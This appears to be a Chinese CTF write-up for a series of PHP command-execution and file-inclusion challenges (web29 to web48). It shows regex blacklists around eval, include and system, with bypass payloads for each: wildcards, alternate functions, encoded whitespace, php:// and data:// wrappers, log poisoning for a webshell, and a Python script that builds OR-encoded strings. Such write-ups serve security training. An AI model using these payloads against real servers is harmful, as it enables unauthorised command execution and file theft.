命令执行


web29

  • 描述: 命令执行,需要严格的过滤

仅仅过滤了flag,利用通配符绕过

if(!preg_match("/flag/i", $c)){
eval($c);
}

payload如下, 传递后查看源码即可

?c=system('ls');
?c=system('cat fla*');

web30

  • 描述: 命令执行,需要严格的过滤

过滤了system, php, 只需要换执行函数就可以了, 比如passthru

if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

payload如下 传递后查看源码即可

?c=passthru(ls);
?c=passthru('cat f*');

web31

  • 描述: 同上

cat, 空格, sort, shell, 点和单引号也过滤了, 同理可以换成tac等

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

payload如下

?c=passthru(ls);
?c=passthru("tac%09f*"); # 都行
?c=echo%09`tac%09f*`;
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=eval($_GET[1]);&1=system('tac flag.php');

倒数第二个payload是获取文件和目录信息并且颠倒顺序, 获取颠倒顺序后的数组的第二个元素并显示该文件的php源代码

web32

  • 描述: 同上

过滤越来越多, echo, 反引号, 分号,左括号也过滤了

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

那就换成以?>结尾的语句, 实在想不到怎么绕过还可以把本题变成文件包含

payload如下:

?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

还可以用data伪协议执行php代码:

?c=include$_GET["a"]?>&a=data://text/plain,<?php%20phpinfo();?>

可以包含日志文件进行写马

web33

  • 描述: 同上

过滤了双引号, 但是非常地可惜, 因为$_GET[]$去掉了双引号也可以用

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

  • 描述: 同上

冒号也没了, 无所谓, 继续利用我们上一题payload

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

web35

  • 描述: 同上

真帅吧, 过滤<=, 但是您猜怎么着?我们是传参用的=而不是在参数内部用的=, 所以不会被过滤

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web36

  • 描述: 同上

过滤0-9, payload没有, 继续梭哈, 这类题目就算进化到头了, payload同上

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

web37

  • 描述: 同上

似乎不是原来的题目了, 变为了文件包含类的文件执行, 仅包含了flag

if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}

伪协议加上通配符绕过过滤, 或者编码绕过也行

?c=data://text/plain,<?php system('cat fl*')?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

还可以用UA头文件包含, nginx的默认日志位置为/var/log/nginx/access.log

image-20240703165620132

进行日志包含, 用蚁剑连接, 得到flag

?c=/var/log/nginx/access.log

image-20240703165546051

web38

  • 描述: 同上

增加过滤phpfile, 不知道啊, 我用data的

if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}

payload:

?c=data://text/plain,<?=system('tac f*)?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
日志包含

短标签真不错, 有<?=...?><?...?>两种, 其中前一种是固定开放的

web39

  • 描述: 同上

限定后缀名, 一般是截断, 闭合或者是注释掉后面的内容

if(!preg_match("/flag/i", $c)){
include($c.".php");
}

payload

?c=data://text/plain,<?php system('cat fl*')?>)?><?php
?c=data://text/plain,<?php system('cat fl*')?> # 问就是已经闭合了

web40

  • 描述: 同上

知道为什么括号那里看着这么宽吗, 因为是中文的

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

payload:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=session_start();system(session_id());

还可以是 ?c=eval(array_pop(next(get_defined_vars())));
然后POST传参 b=system(''tac flag.php)

web41

  • 描述: 过滤不严,命令执行

过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用了那就只能用|

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}

构造脚本如下:

import re
import urllib
from urllib import parse

hex_i = ""
hex_j = ""
pattern = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/'
# 上面是写入题目的正则表达式

str1 = ["system", "cat flag.php"]
# 这是想要的到的字符串

for p in range(2):
t1 = ""
t2 = ""
for k in str1[p]:
for i in range(256):
for j in range(256):
if re.search(pattern, chr(i)):
break
if re.search(pattern, chr(j)):
continue
if i < 16:
hex_i = "0" + hex(i)[2:]
else:
hex_i = hex(i)[2:]
if j < 16:
hex_j = "0" + hex(j)[2:]
else:
hex_j = hex(j)[2:]
hex_i = '%' + hex_i
hex_j = '%' + hex_j
c = chr(ord(urllib.parse.unquote(hex_i)) | ord(urllib.parse.unquote(hex_j)))
if (c == k):
t1 = t1 + hex_i
t2 = t2 + hex_j
break
else:
continue
break
print("(\"" + t1 + "\"|\"" + t2 + "\")")
# system('ls'), ('system')('ls'), (system)('ls'), ('system')(ls) 都可以执行
# 使用构造的字符串时应该按照以下格式:system=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")
# 其中%13|%60=s ,%19|%60=y ...
# 上面运行的输出格式是:
# ("%13%19%13%14%05%0d"|"%60%60%60%60%60%60") ----- system
# ("%0c%13"|"%60%60") ----- ls
# 直接拼接即可,记得使用bp类工具,hackbar会被再次编码

payload:

# (system)(ls)
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60") ("%0c%13"|"%60%60")

# (system)(cat flag.php)
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

web42

  • 描述: 命令执行,需要严格的过滤

似乎被重定向, >/dev/null 2>&1 命令表示不回显, 要让命令回显, 可以进行命令分隔, 以此来绕过

if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
?c=cat flag.php ||	# 理论上 ; , | , || , & , && 都可以用, 测试得到 ; 和 || 可用
?c=cat flag.php%0a # 换行

web43

  • 描述: 同上

解决方案就是换个函数, 就过滤了分号和cat而已

if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}

payload:

?c=tac flag.php%0a
?c=tac flag.php ||

web44

  • 描述: 同上
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}

通配符即可, payload:

?c=tac fla*%0a
?c=tac fla* ||

web45

  • 描述: 同上

过滤空格, 换一个就行

if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}

payload:

?c=tac%09fla*%0a
?c=tac%09fla*||

web46

  • 描述: 同上

上强度了, 但是通配符还有?(没成功), 或者直接\隔开, 空格还有<之类的代替

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}

payload

?c=tac<fla\g.php||

web47

  • 描述: 同上

没什么影响, 那就继续用上一题payload

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}

web48

  • 描述:同上

诶还是没有, 那就继续用

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}

以上这些都能执行命令